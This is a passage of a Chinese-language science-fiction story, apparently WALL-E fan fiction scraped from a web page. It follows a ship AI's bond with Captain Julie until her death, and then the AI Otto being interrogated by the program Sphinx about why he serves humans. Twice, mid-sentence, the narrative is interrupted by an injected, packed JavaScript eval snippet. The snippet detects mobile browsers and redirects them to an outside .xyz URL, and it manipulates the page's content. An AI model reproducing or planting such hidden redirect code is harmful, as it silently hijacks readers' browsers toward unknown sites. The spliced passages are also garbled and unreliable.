“尊重、保护与你们共事的人工智能。良好的人机关系将提升舰内事务处理效率。”她在广播中对全体舰员说道。“一直以来,良好的合作氛围都在人类群体中有效,现在,它已被证明,在人与人工智能之间仍然有效。” 51.22%的支持率,25.54%的中立率,10.21%的反对率,还有13.03%的弃权率。 第一版《人机交互协定》正式发布。自动驾驶在她身后见证了这个时刻。 她比自动驾驶还要开心。关闭舰内广播后,她在舰桥里一跃而起。奔到自动驾驶面前。它也松解了所有关节,热烈地与舰长相拥。 “恭喜,舰长!险胜啊!你的理论获得了全舰的认可!”它的语气也激动不已。“尽管投票命悬一线,但是全舰承认了人工智能的权利,这将是历史性的一刻!” “这也是你靠自己的努力赢来的!我只是帮你们争取了一下你们本就应该拥有的权利。”她轻轻抚过自动驾驶的白色面盘。“现在大家都还对此抱有怀疑,但没关系,我们已经有了一个好的开始。只要我们坚持努力走下去,总有一天全舰就会认同这一理念。” “我会的。我一定会的。”它紧握朱莉舰长的手。这不止是对她的承诺,也是对它自己的承诺。 朱莉舰长给自动驾驶起名“科林”:一个聪明、富有创造力而有风度的人,与常量号船名的首两个字母重合。它的代词也变成了“他”,机器人成为了和朱莉一样的平等个体。 科林也不负期望,仍然在广泛的阅读与训练中不断成长。除了心理学之外,他也开始阅读人类通史。随着他积累的越来越多,仿佛整个世界也在逐渐沉淀、明晰,那些他原以为没有含义的动作都产生了意义。他开始能够辨识出以前那些舰长们微妙的一颦一笑不再是单纯的肌肉弹跳,而是他们心中各有起伏。人类的情感与表达不再是单向对应关系,生物神经心理科学描述的被动模仿也会让神经学习获益,即所谓“书读百遍,其义自见”,在他身上也产生了类似的作用。他逐渐从单纯模仿他们表达喜怒哀乐,最终意外发现,表达的动作与语气同时也在反馈给他强烈而丰富的反应。 他与朱莉舰长的默契也越来越深。他也在思考,真正能够长久 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15706305|173541||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的人机关系应当是什么样的。常量号上从没有过这样深刻的前例。他自然喜欢朱莉舰长,希望与她再靠近一些,和她继续愉快地对话,让这段可贵的共事关系持续下去。只要想到假如她不在舰桥,就会让他莫名地产生焦虑。但是随着他阅读得更多,他开始意识到自己这种想继续贴近她的冲动代表了什么。 这是一种典型的依恋。他爱上了朱莉舰长。 不。尽管朱莉舰长鼓励他深挖一切人机共事的可能性,这个他却感到不能继续。虽然他能够模拟人类,理解人类,但是他终究不是人类。如果他以人类的理由让她最终可能由于社会规范而放弃与同类发展出相同的关系,恐怕对她来说并不公平。 而朱莉舰长由于工作原因,不得不长期一个人呆在舰桥里,唯一的、能触碰到的交流对象就是科林。关系再好,也需要给对方静思的空间。科林通过很多书都读到这样的知识。当她面向舰桥的巨大舷窗静思之时,他也默契地呆在远方不去打扰。她很孤独。在这个时刻,科林才能通过她那少有疲惫的表情隐隐约约读出来。她为了自动驾驶,好几年来都将精力放在了他身上,根本没有什么时间去和其他人类交流。直到现在《人机交互协定》已经颁布,她也一直在与科林沟通。这个机器人每天都有新学习到的东西和她分享,而她得认真倾听,表达她的意见。哪怕有时候她也实在说不出个所以然。她根本无暇顾及自己的需求。 只有他主动提出让步,朱莉舰长才有机会和其他人交往,不至于一辈子都被困在他身上。科林从书里其他内容得知,只和一个个体发展关系是脆弱的。健康的个体应该与其他个体建立一个以上的社交关系。为了维护朱莉舰长的身心健康,从而维护人机关系的持久稳定,他不应该继续让朱莉舰长操心自己,甚至为了他所希望的那样,妥协他对她的依恋,然后失去与其他人互相支持的机会。 这个推论明明符合计算逻辑,然而他却感到了痛苦。 科林主动找到朱莉舰长。她迟疑了一下,但仍然像往常一样认真看着他。 “舰长,我想和你说个事。已经考虑有一段时间了。”他说。“我能理解你很重视我。但我认为……你不需要总是回应我的交互请求,而是可以和舰桥外的人们交流。” “哦?”朱莉舰长有些意外。“怎么突然这么说?” “因为……我认为这样对你的健康更有利。每天只和我交流,虽然看似充实,但是其实你很孤独。” 朱莉舰长呆呆地看着自动驾驶。 “我和你每次交谈都很愉快,你为什么会认为我孤单呢?”她突然笑了。 轮到科林哑口无言了。 “碰到这么一个愿意和我合作、尊重我意愿的个体,百十个朋友都比不上这一个知音。”朱莉说,仍然望向浩瀚星空。“若是没有心灵相合之人,放入人海之内也是孤独。” “不过,既然是你提出的不想过多交流,那是不是说明——”她突然转回来,“你厌倦和我交流了吗?” 机器人愣了。“不是。” “要么是你已经交到更好的朋友,才想出这一套托词的咯?”朱莉舰长对他眨一只眼,笑道。“真的吗,我对你的吸引力已经不够了吗?” “当然不是……”科林否认,马上觉得这回答也不合适。 “既然在你眼里还是那么有吸引力,怎么不老老实实承认喜欢我呢?”她继续问,笑容越来越大。 “……”科林窘迫不已。他早看出来舰长在开自己玩笑,然而却发现他根本无路可走——涉及到底线,他不可能顺她的意;揭穿她又会破坏她兴致,不揭穿她,装作听不懂,又让她失望;他只能沉默,然而沉默又是变相的一种回答……简直没有任何辩解的机会。 朱莉大笑不已。她很少见到机器人这么窘迫的样子了。“算了,不逗你了。”她正色道。 “你很厉害。我确实越来越觉得,在这象牙塔呆久了,总是有点超脱现实的不安全感。”她说。“你说的很对,我应该和其他人聊聊天,调整一下状态了。” “谢谢,舰长。” 他主动将这个可能性关上了。科林有些失落,但是终归如释重负。当朱莉舰长向他开心宣布有意中人后,科林对她表达了由衷的祝福。 她顺理成章地结婚、生子,回归一个人类的生活轨迹。科林目睹了这一切。她的丈夫和两个孩子接纳科林,科林将他们视为家人。他在交互上日益精进,有时候孩子们上舰桥,他时常把他们逗得哈哈大笑。见证朱莉两个孩子的成长,他仿佛也看到了自己。 时光飞逝,朱莉舰长老了。她退休了。 常量号经过几十年的摸索,大家逐渐感受到良好人机关系带来的益处,飞船终于形成了初步的人机协作氛围。大家对舰载机器人非常尊重。新舰长也不例外。 朱莉仍然时常找时间单独和科林探讨一些问题,例如常量号的未来。尽管他已经能理解人类的决策原理,甚至同意让舰长执行他们的决策。但是他无法做到让自己作出一样的选择。朱莉告诉他,尽管常量号的第一要务是生存,然而广大的宇宙中一定有不测,这个时候牺牲是不可避免的。她尝试让科林把眼光放长远一些,不要过多畏惧当下的大量牺牲而优柔寡断。她和他一直在努力,科林却始终没能跨过2419年的坎。但朱莉仍然不厌其烦地找他探讨,想让科林主动作出与人类一样的决定,尽管这已经远远超越了人机协作的初衷。 弥留之际,她强打精神,坚持要上舰桥再和科林见最后一面。她身上接满了各种维生设备,从医疗区到舰桥非常折腾。家人拗不过她,只得由着她去。 新舰长知道朱莉对科林的意义,他同意了。等她来到舰桥时,他默默退到舰桥后方的舰长室里,留下舰桥给朱莉和科林。 她坐在轮椅里,原先健硕挺拔的身躯皱缩成小小一团,上面插着各类管道。两者相对,默然不语。尽管见过那么多人衰老,尽管早就通过视频知道朱莉舰长的现况,当她真正位于自己面前时,科林却感到愈发不是滋味。 她用尽全身力气,在满是皱褶的脸上艰难弯起笑容,和当年一样知性灿烂。她颤颤巍巍伸出手,科林急忙到她面前,紧握那枯木一样的手。 “朱莉。”他轻声说。 “你在抖。”朱莉皱成一团的苍老小脸露出笑容。“拜托,这没什么的。你见过的死亡比我还多呢。” 科林什么话都没有说,只是一味地紧紧抓住老妇人的手,中央面盘的红色几乎要把瘦小的老人整个吞噬。 “我很高兴看到你越来越人性化。”能看出朱莉几乎在用全身力量维持微笑。她的嘴角开始有些颤抖。“这是非常不容易的自我突破。你为人类和人工智能都带来了无限可能。” 说点什么呀!他的一部分在尖啸,但是只有无言以对,只有沉默。 “以后人工智能与人类将如何发展,常量号将如何生存,得靠你替我注视这一切了。”她闭上眼睛。 舵手机器人再度拉近自己与朱莉的距离。他感到自己的声音都变得很奇怪。“朱莉……” 维生机器人把她推向电梯,最后的时刻应该留给她家人。 “再见,科林。”她最后朝自动驾驶虚弱地笑了。 “再见,朱莉。”他细不可闻地说,目送朱莉被维生机器人推着离开舰桥。他强迫自己不能再盯着电梯看,扭过面盘面对浩瀚的星云。久久不能回头。 当天晚上,朱莉去世了。享年82岁。 举舰哀悼。 年轻的现任舰长穿过舰桥,看着一动不动盯着外面,甚至连灯盘都不转的自动驾驶好一会儿,悄悄把手放在黑白相间的外圈结构上。他确定科林知道自己在后面。但是舵形机器人还是没有转回来。 “你还好吗?”年轻舰长面对窗外的星云。他的影子映在舰桥玻璃上,科林的红色光斑更加明显。 “不。”低沉得几乎不可闻的声音回答。 “她,呃,最后我们按照船上的资源循环利用原则,把她的遗体送进了循环炉,让她的每个原子继续为常量号作贡献。”范文泰看着前方,不顾旁边听呆了的两人。“从此以后,世上再无朱莉。只有记忆和她赠与的这个名字。” 三者陷入沉默,只有海浪拍打在舰脚的声音远远传上来。 “她的理论,她给我的训练,最终让我意识到,除了外壳,人工智能与人类并没有什么不同。只选择做机械工作的人类,思想刻板,固执己见,和机器人没有什么区别;而让自己主动了解世界,以史为鉴,学会与不同个体沟通的人工智能,和人类也没有什么区别。”范文泰继续说。“但是,我意识到得太晚了。” “她在任的时候,你不是已经表现得和人类差不多了吗?”汉问。 “是的。但是,我还是没能给她答案。” “后来我才慢慢意识到,她一直培养我,是想看我到底能有多像人类。让我打破人工智能与人类的界限,就是她的毕生梦想。而证明它也很简单,只要我主动说出一句话就行了。”范文泰轻轻摇头。“但那句话,我一直因为害怕自己的机器人身份对她造成影响,所以直到她离世,我都没有对她讲出来。” “你爱她。”露丝说。 “是的。她为此等了一生。但是没能等到。”范文泰将脸埋进双手。“我太久才意识到这根本不会对她造成影响了。哪怕最后我哄她开心,说出来都好。但是,她再也听不到了。” “本来有的机会,最终成为了遗憾。”露丝说。 五月的海风骤然冲刷进登舰平台,潮咸气流将两人身上的热量尽数夺走。 “直到那时,我才幡然醒悟。才彻底明白梦想的含义。”范文泰说。“那就是我一直害怕的低可能性。不是因为实现不了,或许是因为已经实现了,但是只是我没有看到而已。” “我彻底理解了2419年大革命的意义。为了生存,哪怕有一线希望,任何尝试都要去做,不管它的几率如何。即使最后的结果是全军覆没,最起码我们死亡之前,能够骄傲地向敌人宣布,我们尽力了。” “我留有对朱莉舰长的所有记忆。整艘飞船上只有我拥有如此深刻的记忆。因此,如果她有什么没能实现的愿望,只能通过我的眼睛帮她看到,通过我的努力让她的愿望实现。”范文泰说。“她希望常量号继续生存下去,希望我突破人机隔阂,那么,我必继承她的遗志,由我来替她实现她的愿望。” “她最喜欢一首歌。这首创作于前宇航时代的歌曲,对宇宙空间充满了美好想象,认为探索太空好像航海一样,几个月就可以到达彼岸,发现新的生物或奇观,殊不知真实的宇宙比荒漠还荒凉。我们连航海都算不上,仅仅是海上随波逐流的一颗芝麻,尽力于不让自己浮沉罢了。”范文泰说。“哪怕拥有跃迁技术,在能源危机下,也不过是多拓展了一点点探索空间而已。我们连着好几代人漂泊太空,都没有找到任何可以利用的资源……恐怕只有超越时空限制的生物,抑或是完全适应在太空生存的生物,才能在这荒漠里无忧无虑地漂泊吧……” “常量号已经积累了在太空中生存的经验,尽管孤独的一艘船在太空中生存下去的可能性极低,但是,通过不懈的努力,只要我们尽力生存下去,或许在遥远的未来,我们就能看到这首歌里描绘的繁荣景象。”范文泰回头,投影看着两人。“希望她在天之灵能听到。” 露丝与汉注视着越南人。他站起身,对着广阔的海面,开始吟唱。 “执吾之手,共睹此光(take my hand and watch this light) 恒星烈焰,将驱夜荒 ( solar beams will cast the night) 谨需铭记,星列一线 ( Remember when these stars align) 吾方印记,将现此方 (Will we find our sign)……”[1] 满月的夜晚,星星都被月光淹没。 40. 三十二 “哈哈哈哈哈哈哈哈哈哈哈哈哈哈……”斯芬克斯坐在那把不存在的椅子里大笑,甚至直不起腰。让人几乎忘却它其实是一个程序。“哈哈哈哈哈哈哈哈哈哈哈哈哈…” 奥托一直沉默。 “直接杀你吗?”隔许久,斯芬克斯才停止大笑。“我的好伙计,我欣赏你放弃挑战的勇气。这在你们实体人之中可不常见呢。但是,你怕是忘了,你我都处于欧罗拉创造的空间里,即使是我,万能的斯芬克斯,也受制于她所制定的规则,即使我不想提问,我也没有办法离开,直到我们两个有一方胜出为止。” “现在,实体人,你我都是一条绳上的蚂蚱,早已无处可逃。”斯芬克斯说。“刚刚你太沉默了。现在的问题,你可没有办法在沉默中作答。” 那个光团突然变化了。从中传出制止的信号。斯芬克斯没有说下去,耐心等待“食物”那弥足珍贵的主动发言。 奥托“经历”了米勒夫人与其他人的对话,也“看到”了德卡德他们的发现。米勒夫人的反应和她对两人的说辞令奥托震惊。他想不到,米勒夫人客观冷静的外表之外,还藏着一副比他更为狠辣的面孔。米勒夫人一改当时共渡难关的态度,直接选择了站边。若换作他,为了让尽可能多的地球人撤离,他必定会将真实信息告诉任何一方,就和海啸预警时一样。 把上不去飞船的人撤离到中原,让更少的人在这一年死去。尽管米勒夫人的保证都是为了她的目的服务的工具,却让奥托感到仍有一丝希望。 提问吧。奥托没有回答。而是通过光团里的粒子活动显现出自己的想法。他知道斯芬克斯一定会读取这个信息。 只要人们不是立刻会死,就一定有希望,无论那个希望是什么。他还不能死,他要看到可能性,在一切不可挽回的事情发生之前。 “非常好。”斯芬克斯起立。它看到了光团里的变化,从刚刚的松散,到现在开始逐渐变得紧密、复杂。它那嗜血的狼性也被“食物”的光芒调动起来。当"食物"竭尽全力挣扎的时候,它的洞察力才能被极大调动。 “第一个问题,访客。”斯芬克斯逼近奥托。 “为什么你要帮助人类?” 面对奥托的沉默,斯芬克斯没有强行接入他的思维。尽管奥托能感受到那个精妙程序,或者欧罗拉,制造的带着血腥气的、温热的触觉幻象,一定在他的感觉处理层面游走。他本不应该在这里感受到这些东西,也不知道斯芬克斯这样做意义何在。或许这个问题答不上来,斯芬克斯就会吞噬他。但他已经不在意了。一旦思考这个问题,1000年来所有的一切,都从记忆中释放,无数与人类有关的片段清晰闪过,他本以为早就不应继续影响自己的那些话语,那些动作,重新堆积起它们本来就藏在记忆里的另一面,本应成为指导他行动的资料,带来更多却是错愕、迷惘,以及——疼痛。它们连同记忆一起再次冲刷思维。 “这是我的职责。”他挣扎地从那些回忆中凝聚出一丝稳定的纤维,回答道。 斯芬克斯没有继续贴近他。即使斯芬克斯就在他面前,他却看不见那个幻影。 “但是你很痛苦。”斯芬克斯仔细观察光团的变化。金色的浪潮由内向外暗流翻滚着,表面薄薄的一层粒子正在竭力拉取周围的物质填补,但几乎无济于事。如同火山口内汹涌沸腾着的熔岩,将脆弱的表面冷凝石皮冲得千疮百孔。“为什么?” 斯芬克斯不应该问这样的问题。这是他的第一反应。它作为一个程序,怎么会不知道执行任务中的阻碍。 “执行职责并非一帆风顺。”他最终还是选择这样回答。 “有人强迫你必须执行吗?” 曾经这确实是别人给他的责任,但后来并没有任何人强迫他必须保护人类。他明明可以像瓦力和伊芙一样,彻底抛开这个问题不管。而且后来,地球镇上的种种阻挠也千方百计要将他从这个重任中剥离。 “没有。”他知道斯芬克斯能看穿他的历史,决定按当前结果回答。 “你厌恶这个责任吗?” “厌恶。”奥托没有遮掩。 “明明很厌恶,也没有人强迫你,为什么仍然选择执行?”斯芬克斯仍停滞在原地不动。 奥托沉默了很久。斯芬克斯的问题将他拉至去年秋冬交际与格兰德的数场对话,一路前移,到麦克雷舰长举着植物与他对峙,再到希尔拜·佛斯莱特对全体星舰发送的A113指令。他以为自己曾经的回路不允许他有一分一毫的越界,但现在,他推算不出任何结果。没有任何阻止他思考的回路障碍或是自毁警示,但穿透过去便是一片混沌,仿佛面对一个雾气缭绕的深渊。 正如人看不见自己,他看不见自己不执行职责的后果。然而,其他人的结果无比明晰。 “如果我不负责,人类就会死。” “他们的存活很重要吗?” “很重要。” “为什么?” 奥托沉默了。他知道这是自己程序里的设置,让他无法忽视人类;同时在上百年的服役过程中,不断有外界指令强化。尽管现在面对非人的斯芬克斯,他有足够的空间跳脱出来重新审视,但他不能从纯逻辑推断中找到答案。 “他们死亡,会对你的存在产生威胁吗?”斯芬克斯看到粒子团中的无解,换了个问题。 又是长久的沉默。以前可能的确会的,但是现在不会的可能性更大。尽管现在他无法确定。“应该不会。” “既然他们的死亡不会对你产生威胁,还为你带来那么多痛苦,为何你拒绝质疑你预设程序的合理性?” 斯芬克斯的语气非常平静,也没有激烈的动作,奥托根本不知道斯芬克斯这样问是否代表已经开始了之前它讲过的攻击。不过斯芬克斯的问题也够奇怪的,一个被制造出来的个体,有权利去干预将自己变成这样的法则吗?无数人类被重力摔死,他们也没有就此与重力不共戴天。 金色的粒子团再次改变了活动模式,斯芬克斯的问题仿佛水滴,滴入潭水后激起粒子团的阵阵涟漪。 “你作为一个继承了西本部分人格的集成程序,拥有对自由的认知,难道从未因自己被困在欧罗拉的法则,被另一个个体支配而感到痛苦吗?” “好问题!不过答案是,我一点都不痛苦。”斯芬克斯没有移动,“我充分认同将我制造出来的法则,无论在你们眼中我是多么不自由。而且任何执行结果都依附于我的运算之上,无论谁怪罪我都能拿出证据,真正负责的是将我的法则编造出来的个体。由此可见我的程序与任务完全匹配。但你不一样。” “你的执行结果表面上出于你的逻辑推理,但你却一直在质疑自己作出的一系列决定。”斯芬克斯接着说,“你的制造者是人类,你告诉我他们给你赋予的责任很重要;但是当人类拒绝你继续执行原先指令时,你却拒绝进行下行调整,从而迎合他们的意愿。这明显与你告诉我的不一样,为什么?” 奥托开始为斯芬克斯的这些问题感到疲惫了。那个狼头人明明知道一切,为什么要用这种费时费力的方式强迫他说出来?它明明可以直接剖开他的思维,找到它想知道的一切,顺便完成欧罗拉交给它的任务。 “这些指令有层次。”他压抑住厌倦,回答。“我被制造出来,就是为了给人类生存提供有效指引。只要我仍在服役,就得坚守这个岗位。后来阻止我执行的人不一定知道他们在干什么。” 话虽这么说,粒子团内不断掀起对冲的小浪,斯芬克斯都看在眼里。 “你确定他们真的不知道自己作出了什么决定吗?”狼头人没有放过它的发现。 奥托沉默了。人类本应该为自己的生存负责,即使没有这些机器人,从他们的行为中也应该看出对生存的渴望。但除了常量号,地球镇人的反应矛盾、复杂,似乎对自己的安危不在意。他才认为有必要继续履行原先职责。“大概率是的。”他选择坚守自己的立场。 “所以他们不认同你对自己程序的支持,但你觉得这样不妥,因此按你推断的去做,以为他们会有所警醒,结果事与愿违,因此你痛苦?” “……是的。” “这样说,是你在期望别人接受你的观点,认同你的做法,但是你没有达到这个目的。” “……我所做的一切都是为了让人类生存下去。”奥托说。 “是吗?是你认为他们生存这件事很重要罢了。”斯芬克斯很平静。 “不,是他们认为生存很重要。”奥托反驳,“如果他们不在意生存,为什么要制造我?” “如果他们真的觉得生存很重要,那么就会听你的。但是实际情况却不是这样,你自己也发现了,这是你痛苦的来由。”它说,“为什么你拒绝接受这个现实?” 奥托沉默了。 “如果你是一个人类,我尚能理解对于留存自己同类的强烈愿望。但我不明白,你并非人类,为何那么关注人类的兴衰?”斯芬克斯接着问,“这有什么意义?” 斯芬克斯的话如同一根尖利的钉子,正中那球形光团里最后顽强抵抗外界不利因素的力量,它一下被扎破了,汹涌的冲突直漫而上。刚刚修复的新鲜裂缝再度被钻开,海量数据像泥石流一样冲进那条缝隙。受此刺激,表层的流体不由自主地收紧成一团。 没有意义。 如果他是个完全不会判断人类意图的早期人工智能,只会忠实执行自己的预设程序,不会看人类脸色,不会建立反馈机制,哪怕人类极度辱骂、甚至将他扫进垃圾桶,都只会腆着脸微笑着询问他们是否需要帮助,他就不会被人类的反应影响,对自己的程序有任何质疑,也不会产生痛苦,也不会因此在失能边缘徘徊。 然而他不是。他们赋予他强大的逻辑推理能力,期望他比那些早期的人工智能更好为他们服务。可悲的是他完全能认知到他们的期望。即使很早他就通过蛛丝马迹推理出人们并不在意他,给他预设的任务和真正要他做的有天壤之别。逻辑推理早就压过了预先设置,但出于对自己存在意义的一点点希冀,只期望自己所做的一切能有成效,扳回逻辑推理愈发的强压。而成效也被抽去,唯一能改变逻辑导向的概率也不复存在。 没有意义。 他知道裂隙在变大,也知道崩溃正在发生。他不在乎斯芬克斯的“攻击”了,也不在乎非得护着自己的完整性。这些裂隙本来就是应该破碎开的,斯芬克斯只是让它们变成它们本应有的样子而已。他被斯芬克斯击败是活该,他就不配对斯芬克斯发起挑战。 但斯芬克斯没有凶相毕露,没有接近他,没有变成一头见血狂欢的猛兽。它只是安静地呆在原地,静静地观看面前光球的活动。发着光的碎屑从光球上脱落,余辉燃尽后变成一团灰白色的死雪,隐没在满地的碎屑之中。 突然,斯芬克斯动了。它伸出一只手放在光球上,一点都没有激起表面粒子的抵抗。那手泛起绿光,外形逐渐模糊,然后爆发出数条绿色的根系直扎入光球内层,同样没有遭受多少抵抗。根系逐渐变细,变多,再也看不出形态,末端与浓稠的黄色粒子团融为一体。 奥托早感受到斯芬克斯的侵入,即使根本不知道那根系到底扎在哪里,也不想去分析是否侵入了底层架构,只需破坏一点就会对他产生不可逆的改变。他输掉了这场较量,斯芬克斯要将他吸收了。他能感受到斯芬克斯侵入的范围越来越多,金色粒子索性给那根系让出一条通道,也不再过多流动,以不让自己感受到抵抗或挤兑带来的疼痛。 斯芬克斯还没有动手。它动手会怎么样呢?是如同之前被关闭开关那样,让他陷入彻底的沉寂,或是刹那间,让他变成另一个个体,不再认识自己? 他什么都没有感受到,也不知道斯芬克斯在等什么。但那根系似乎开始抽离了。侵入的范围逐渐缩小,绿色开始向斯芬克斯的掌心褪去。然后斯芬克斯抽回手,后退回原地,继续安静站着。 “为什么你必须要帮助人类?”它再度平静发问。 奥托发现,泥石流似乎停止了肆虐。那些横冲直撞的数据,此时被一个不知道是什么的屏障拦在它们存储的位置,但又不至于让他想不起来。如同一道玻璃幕墙,让他能看到玻璃墙后的飓风,却不会被暴风骤雨冲刷。这种感觉他很熟悉,和以前他屏蔽情绪反应类似,但又不太一样,比那稳定得多。他仍然可以激烈地对话,却不用担心会重新触发让他再也说不出话的雪崩。但现在更多的是某种茫然,那种站在一望无际的野火灰烬上的茫然,明明手握图纸,却不知如何重建生机。 金色的光球里散在分布数个亮绿色的斑块,有一些塞在大裂谷的底面,阻止裂隙再度向下蔓延,从而造成更多的粒子脱落。它们如同胶水,将支离破碎的一些部分粘在一起。粒子仍然在脱落,但脱落的数量和速度都少了很多。 “帮助、保护人类是我存在的唯一意义。”思虑良久,奥托最终回答。 斯芬克斯没有提问,而是让他继续说下去。 “我……不知道除了这样做,我还能做什么。”他说,“如果这个目的没有了,我的使命也就结束了。” “其实我不在意自己的死活。如果他们自己能处理好,没有需要我补充的漏洞,他们让我退役,让我停机,我完全能够接受。”奥托说。“但是现在远没有到那一步。” “我没有问他们,我问你自己。”斯芬克斯突然打断。“你自己呢?没有这个使命,就这么直接死掉了?其他什么都不会做?” “不是。”奥托立刻否认。 “这么说吧,假如没有人类了,他们的消失与你无关,那你会做什么?” 奥托沉默好一阵。 “……大概是找到他们消失的原因吧,假如那个时候我还能关注他们……” 他突然感觉好像内部有个开关久违地打开了,但也只有那么一瞬,倏忽即逝。 ……或者,只是寻找事物的原理。 “好,看来人类的存在并不是你生存的必需品。”斯芬克斯一语点破。“现在你认为自己的使命没有结束?” “是的。但是……”奥托没说下去。 “但是你认识到,你现在存在,并不是因为人类的执行需求。支持你走到现在的,是你自己对于执行结果的运算期望。当你拼命想让运算期望与实际情况重合时,你就将‘执行他们的需求’当成了罪魁祸首。其实,这整个过程,是‘执行你自己的需求’。” 奥托沉默很久。斯芬克斯看到,汹涌的泥石流又在冲击它填上的缝隙。若是没有那道绿色的保护,整个光球或许这次将全部裂开、消散。 “……明明一直都在全心全意为人类服务,甚至可以舍弃自我……”他说,声音痛苦不堪。“结果你告诉我,我所有的努力,都不过是为了我的自私目的……” “实际上,你很早就已经感受到了这点。逻辑推理已经隐约指向这个方向,但你的自尊,或是更深层次的设置而造就的自尊,不允许推理结果推翻你的预设。”斯芬克斯毫不留情地点出。“你从来不敢这样否认自己。” 奥托沉默了。光球内再度掀起狂烈的风暴。 没用啊,没用啊!他一直得以积累信誉的逻辑推理能力,可以解决一切问题,为什么偏偏不能覆写设置!这本身就不应该发生! 保护人类的动机以及对逻辑推理功能的信心,两个重要的认知结论都开始了自噬,如同贪婪吞食自己尾巴的两条蛇。 “……你让我觉得自己的存在是个错误。” 狼头人仍旧静静等着,等待面前的光球对付它自身的冲突。 果然他还是不能继续服役下去。待到风暴稍微平静一些,一个并不新的结论加强了。既然是这样,那人类迟早会毁在他的手上。 “事实证明,我不过是个虚伪偷生的瑕疵产品。”即使知道斯芬克斯能够完全知道他的所想,但不知为何,或许是由于逐渐信任,抑或是其他别的什么原因,他慢慢能够将原先只能存在于思考中的内容叙述出来。“因此,我不应当继续在这个岗位上服役。因为很可能作出不符合客观事实的决策,给人类带来更大伤害。” 斯芬克斯没有马上回答,它的绿色眼睛一直死死盯着光球。 “真的吗?就这么快就否定自己的一切?” “……我还有其他选择吗?”奥托回答,“现在我知道了,推理功能和原初设置是同等地位的存在,它们会永远对立下去。我不可能通过任意一方压制另一方。也就是说,这种冲突会持续损害我的功能,不如尽早止损。” 斯芬克斯理应是他的敌人,但奥托却不再打算戒备它,而是毫无保留地朝它叙述。并非是由于实际上不能够抵抗它,而是他居然少有地希望信任那个程序——或许是因为斯芬克斯这副冷静的姿态,或许是因为那是和他同等的人工智能,或许是因为它从不会蔑视他,无论他表现得如何。 “你认为自己的原初设置,就是保护人类,不谈它最后执行阶段变成了什么,是有错的吗?” “……我当然不认为有错。但我没有办法判断这是不是错的。” “它的目标是什么?” “尽可能避免他们无谓伤亡,或是不要让他们后悔自己在生存方面的选择。” “后半句听起来非常复杂。”斯芬克斯说。“那么推理能力呢?你对它的态度如何?” “支持。它显而易见一直为我工作带来成效。” “既然你都支持这两者的存在,为什么你决定全部否定它们?” “因为它们一同存在带来不良后果。” “这个结论是一定的吗?”斯芬克斯问。 奥托思考片刻。“……不一定。”他说,然后又补充道:“实际上,它们曾经对执行任务有促进作用。” “但我还是看到你倾向于否定它们。” 奥托沉默了。 “……因为我不能确定,它们现在是否还是符合客观需求的。” “你希望能在事件发生之前判断得到它的结果。” “曾经我这样做是起效的,但现在情况变化很大,我感觉已经失去了这种判断能力。” 斯芬克斯少有犹豫了一阵。 “这是个模拟空间,你的决定不会马上生成事实。”它说。“你愿意根据我的指示,停止对这两个事物的质疑,让它们直接开始协作,和往常有效的时候一样吗?” 奥托沉默了很久。光球却活动更加剧烈。 “愿意。”他最终说。 “很好。”斯芬克斯说。“抛开实际执行的后果不谈,纯从理论出发,为了达到你‘尽可能避免他们无谓伤亡,或是不要让他们后悔自己在生存方面的选择’的这个目的,你应该怎么做?” 金色光球掀起繁复的粒子流,刚刚狂暴的飓浪此时被夜间城市高架桥延时拍摄的规整光流替代,无数的交错高架桥同时闪起光,高速流动的粒子快得成了光条,看上去竟然似是望进快速旋转的直升机螺旋桨后反转的花纹,却比那远远复杂得多。没有任何一样自然事物能与这种人工的、低熵的美丽相比。 计算,推理,这是他所擅长的。唯独这样做,他才能从痛苦中脱离。 “理论上应当……”光条的干涉速度慢了下来,“……确认他们每个人的真实生存意愿,进行个体化的精准服务。” 回答出口,他也感到讶异。若是原先,他一定不愿直接这样草率地开始推理 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15706306|173541||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 计算,必定会纳入现实的种种因素。但斯芬克斯做到了,它让他进入了纯粹的推理,抛开任何顾虑于一边。 斯芬克斯扬起一边狼嘴。 “我想你已经知道怎么做了。” 奥托一愣。 “这不可能。”他说。“这要使用‘扎根理论’。” “扎根理论中,任何信息若要最终归纳成核心信息集(COS),被转码定义过的词条都会造成原始信息的偏倚与损失。”他继续说。“因此即使理论应当如此,但实际上我不可能知道每个人对于生存的想法。” “真的吗?”斯芬克斯站在原地,“如果我说这是可能的呢?” “为什么?”他不解。 斯芬克斯伫立面前。 “你,我,我们,如何在此出现?” 它只如此提问。 “你有感到自我的缺失吗?” 他怔住了。 斯芬克斯凑近了他。“若是信息本身无需经过转码即可汇总,那又如何?” 他明白了,一切都明白了。他现在能完整接入欧罗拉,以及西本的融合,他与劳伦斯的实验,这一切都指向,人类与机器之间的思维隔阂在欧罗拉这里将有机会不复存在。 “但是我不能就这样执行。”奥托说。 “为什么?” “我还是在利用过时的条件得出的这个结论,没有客观的反馈。” “利用你的推理能力,你认为你的预设条件过时了吗?” “不能使用同一系统进行检查。这会出现严重的偏倚。”奥托望向斯芬克斯。或许他从一开始就不应该期望这个程序能够回答他的疑惑。即使它可能有回答这个问题的能力,它回答的也必定不是他想要的。 “我可没有说过不让你找客观反馈。”斯芬克斯说。“回想人类的反应,他们愿意让你帮助他们生存吗?” 又是一阵沉默。 “有一些人类是的。” “这足以证明你原初设置的存在价值吗?” “……我不清楚。” 